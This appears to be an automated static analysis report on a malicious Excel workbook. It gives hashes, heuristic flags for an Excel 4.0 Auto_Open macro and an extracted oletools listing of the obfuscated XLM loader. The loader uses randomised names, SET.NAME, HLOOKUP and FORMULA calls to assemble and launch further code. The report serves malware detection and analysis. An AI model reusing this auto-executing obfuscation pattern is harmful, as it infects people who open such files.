Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 660b7a7164848ed9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:04 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: f096de476be1824818b0024e3f40adc7 SHA-1: f306ddf956a3b75bd4877d09a165a6eedc1141df SHA-256: 660b7a7164848ed9fb9a60db319bcee761dfae65c78a5c23495de48c2e5be565
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6511 bytes
SHA-256: a9d328ad89d8c00572e6ccfb840ab177faaa2046d50a21dd68257ca04ec84328
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KJsLAHd
' 0018     21 LABEL : Cell Value, String Constant - arWmys len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C179 
' 0018     23 LABEL : Cell Value, String Constant - BOpiivEo len=0 
' 0018     23 LABEL : Cell Value, String Constant - cZVNcOer len=0 
' 0018     20 LABEL : Cell Value, String Constant - eqJoK len=0 
' 0018     26 LABEL : Cell Value, String Constant - IJlMpBKLjww len=0 
' 0018     24 LABEL : Cell Value, String Constant - kcwraBoJG len=0 
' 0018     27 LABEL : Cell Value, String Constant - laiMMkHZJzuV len=0 
' 0018     23 LABEL : Cell Value, String Constant - MpaUrOTw len=0 
' 0018     21 LABEL : Cell Value, String Constant - MxoyTW len=0 
' 0018     27 LABEL : Cell Value, String Constant - PQxmwVWbdIOD len=0 
' 0018     25 LABEL : Cell Value, String Constant - PxiQeAIjgH len=0 
' 0018     25 LABEL : Cell Value, String Constant - RfNmSxnLSW len=0 
' 0018     21 LABEL : Cell Value, String Constant - sRDbby len=0 
' 0018     23 LABEL : Cell Value, String Constant - TkWOEtiJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - tWdyIDGakDn len=0 
' 0018     22 LABEL : Cell Value, String Constant - uCdmgTA len=0 
' 0018     23 LABEL : Cell Value, String Constant - vUaunTNr len=0 
' 0018     21 LABEL : Cell Value, String Constant - XauXxO len=0 
' 0018     22 LABEL : Cell Value, String Constant - YOjGfsI len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZqTdcyNvkvef len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KJsLAHd,C89,"SET.NAME("cZVNcOer",VALUE("0"))",""
'  KJsLAHd,C92,"SET.NAME("TkWOEtiJ",cZVNcOer)",""
'  KJsLAHd,C94,"SET.NAME("XauXxO",cZVNcOer)",""
'  KJsLAHd,C97,"SET.NAME("RfNmSxnLSW",COUNTA(ZqTdcyNvkvef))",""
'  KJsLAHd,C99,"SET.NAME("sRDbby",COUNTA(eqJoK))",""
'  KJsLAHd,C104,[],""
'  KJsLAHd,C109,"SET.NAME("BOpiivEo","")",""
'  KJsLAHd,C111,"TkWOEtiJ",""
'  KJsLAHd,C116,"SET.NAME("PQxmwVWbdIOD",HLOOKUP("*",ZqTdcyNvkvef,TkWOEtiJ,FALSE))",""
'  KJsLAHd,C118,"tWdyIDGakDn",""
'  KJsLAHd,C122,"SET.NAME("IJlMpBKLjww",cZVNcOer)",""
'  KJsLAHd,C127,[],""
'  KJsLAHd,C130,"IJlMpBKLjww",""
'  KJsLAHd,C134,"MpaUrOTw",""
'  KJsLAHd,C138,"YOjGfsI",""
'  KJsLAHd,C143,"vUaunTNr",""
'  KJsLAHd,C147,"SET.NAME("kcwraBoJG",VALUE(HLOOKUP("*",eqJoK,vUaunTNr,FALSE)))",""
'  KJsLAHd,C150,"MxoyTW",""
'  KJsLAHd,C153,"BOpiivEo",""
'  KJsLAHd,C156,"XauXxO",""
'  KJsLAHd,C159,NEXT(),""
'  KJsLAHd,C161,"PxiQeAIjgH",""
'  KJsLAHd,C165,"SET.NAME("f",INT(T(FORMULA(T(BOpiivEo)&"",""&T(PxiQeAIjgH)))))",""
'  KJsLAHd,C169,"laiMMkHZJzuV",""
'  KJsLAHd,C172,NEXT(),""
'  KJsLAHd,C176,RETURN(),""
'  KJsLAHd,C203,"SET.NAME("arWmys",C89)",""
'  KJsLAHd,C205,"ZqTdcyNvkvef",""
'  KJsLAHd,C209,"SET.NAME("eqJoK",R54C14)",""
'  KJsLAHd,C214,"SET.NAME("laiMMkHZJzuV",222)",""
'  KJsLAHd,C216,"SET.NAME("uCdmgTA",3)",""
'  KJsLAHd,C221,arWmys(),""
'  KJsLAHd,C222,HALT(),""